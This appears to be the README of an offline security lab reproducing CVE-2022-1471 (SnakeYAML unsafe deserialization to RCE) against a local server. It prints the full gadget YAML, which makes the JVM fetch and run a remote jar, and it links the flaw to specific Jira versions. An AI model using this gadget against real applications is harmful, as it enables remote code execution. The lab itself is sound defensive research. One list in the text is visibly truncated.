
Offline CVE-2022-1471 lab: SnakeYAML unsafe deserialization to RCE; compares vulnerable 1.x vs fixed 2.x using a harmless local payload.
Offline, self-contained lab proving the mechanism behind CVE-2022-1471 (SnakeYAML unsafe deserialization → RCE, CVSS 9.8), as used in the Jira / Jira Service Management finding against a host running 9.4.9 (affected range 9.4.0–9.4.12, fixed in 9.4.14 — see Atlassian JSDSERVER-14906).
The lab demonstrates exactly two things:
ConstructorException) — nothing runs.It does not exploit any live host. Everything runs on 127.0.0.1; the
payload (src/Exploit.java) is harmless — its static initializer writes one
text file and nothing else.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Requires a JDK 17+ on PATH (javac, java, jar). If a bundled JDK exists
under tools/, it is used instead. The only network traffic is a local HTTP
server on 127.0.0.1:8077 serving the payload jar, killed on exit.
src/VulnDemo.java is a bare new Yaml().load(yaml) — the same unsafe call
the vulnerable Automation for Jira versions make on imported rule YAML. The
attacker YAML is the canonical gadget:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x instantiates arbitrary classes with no allowlist → the JVM
fetches and loads a class from the "attacker" server → its static
initializer executes. SnakeYAML 2.x defaults to SafeConstructor, which
rejects the global tag.
sample-output-PWNED-proof.txt shows the marker file content from a run;
screenshots/ shows both runs (vulnerable vs fixed).
Authorized security research. Proof of the library mechanism and the fix boundary only — not an exploit against any production system. Exploiting the Jira vector additionally requires authenticated (Jira admin) import of an automation rule.